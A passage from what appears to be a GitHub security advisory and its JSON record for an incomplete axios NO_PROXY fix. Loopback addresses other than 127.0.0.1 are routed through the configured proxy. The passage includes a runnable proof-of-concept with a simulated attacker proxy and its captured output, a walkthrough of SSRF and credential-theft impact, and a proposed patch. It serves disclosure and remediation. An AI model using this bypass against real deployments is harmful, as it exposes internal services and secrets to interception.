- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+ if (host === 'localhost') return true;
+ if (host === '::1') return true;
+ const parts = host.split('.');
+ return (
+ parts.length === 4 &&
+ parts[0] === '127' &&
+ parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+ );
+ };
All other code in shouldBypassProxy.js remains unchanged. No other files require modification.
5.4 Why This Fix Must Be Applied
Reason 1 — RFC 1122 Compliance
The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.
RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
A datagram sent by a higher-level protocol to a loopback
address MUST NOT appear on any network."
Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
Reason 2 — The Existing Patch Has Already Failed Once
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.
Reason 3 — Real Operating System Behaviour
On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.
# Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
# Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms
Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:
- Two direct string comparisons (
'localhost','::1') — O(1) - A
split('.')and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.
Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:
- The
parseNoProxyEntry()function - The
normalizeNoProxyHost()function - The
shouldBypassProxy()main function logic - Any other file in the codebase
This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.
5.5 Additional Recommendation — IPv6 Loopback Range
While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:
// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1' // Full notation of ::1
'::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback
'::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback
Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42043"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:20:58Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "HIGH"
},
"details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n if (!proxy \u0026\u0026 proxy !== false) {\n const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var\n if (proxyUrl) {\n if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY\n proxy = new URL(proxyUrl); // Step 3: Assign proxy\n }\n }\n }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n \"localhost.\" === \"localhost\" \u2192 FALSE \u2192 Proxy used \u2190 BYPASS\n \"[::1]\" === \"::1\" \u2192 FALSE \u2192 Proxy used \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n if (!hostname) return hostname;\n // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n hostname = hostname.slice(1, -1);\n }\n // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1 \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n// ^^^^^^^^^^^\n// Only ONE IPv4 loopback address is recognized.\n// The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// ^^^^^^^^^\n// Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\" // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy = \"localhost,127.0.0.1,::1\" // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n// No brackets \u2192 skip\n// No trailing dot \u2192 skip\n// Result: \"127.0.0.2\" (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n// Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\" \u2192 false\nisLoopback(\"127.0.0.2\") \u2192 false \u2190 Set.has() returns false\n BYPASS starts here\n// Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\" \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 false \u2190 Same failure\n \u2192 false\n// Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\" \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 false \u2190 Same failure\n \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n// Axios proceeds to route the request through the configured proxy.\n// The attacker\u0027s proxy server receives the full request including headers\n// and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch: 127.0.0.1 (1 address)\nUnprotected loopback: 127.0.0.2\n through\n 127.255.255.254 (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n \"type\": \"module\",\n \"dependencies\": {\n \"axios\": \"1.15.0\"\n }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n console.log(` Method : ${req.method}`);\n console.log(` URL : ${req.url}`);\n console.log(` Host : ${req.headers.host}`);\n res.writeHead(200);\n res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n console.log(`\\n[*] Testing: ${url}`);\n try {\n const res = await axios.get(url, { timeout: 2000 });\n if (res.data === \u0027proxied\u0027) {\n console.log(\u0027 Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED\u0027);\n } else {\n console.log(\u0027 Result \u2192 [DIRECT] \u2190 Safe, no proxy used\u0027);\n }\n } catch (err) {\n if (err.code === \u0027ECONNREFUSED\u0027) {\n console.log(\u0027 Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n }\n }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n await test(\u0027http://localhost:9191/secret\u0027);\n await test(\u0027http://localhost.:9191/secret\u0027);\n await test(\u0027http://[::1]:9191/secret\u0027);\n // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n await test(\u0027http://127.0.0.2:9191/secret\u0027);\n await test(\u0027http://127.0.0.100:9191/secret\u0027);\n await test(\u0027http://127.1.2.3:9191/secret\u0027);\n process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n[*] Testing: http://localhost.:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n[*] Testing: http://[::1]:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.0.0.2:9191/secret\n Host : 127.0.0.2:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.0.0.100:9191/secret\n Host : 127.0.0.100:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.1.2.3:9191/secret\n Host : 127.1.2.3:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment\n (common in corporate networks, cloud deployments,\n containerised environments, and CI/CD pipelines)\nCondition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects: Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour: Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n - Full request URL\n - HTTP method\n - All request headers (including Authorization, Cookie, API keys)\n - Request body (for POST/PUT requests)\n - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n All loopback/internal addresses\nWhat is actually protected:\n Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n 127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n // Named loopback hostname\n if (host === \u0027localhost\u0027) return true;\n // IPv6 loopback address\n if (host === \u0027::1\u0027) return true;\n // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n // Matches any address from 127.0.0.0 through 127.255.255.254\n const parts = host.split(\u0027.\u0027);\n return (\n parts.length === 4 \u0026\u0026\n parts[0] === \u0027127\u0027 \u0026\u0026\n parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+ if (host === \u0027localhost\u0027) return true;\n+ if (host === \u0027::1\u0027) return true;\n+ const parts = host.split(\u0027.\u0027);\n+ return (\n+ parts.length === 4 \u0026\u0026\n+ parts[0] === \u0027127\u0027 \u0026\u0026\n+ parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+ );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers : 3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit 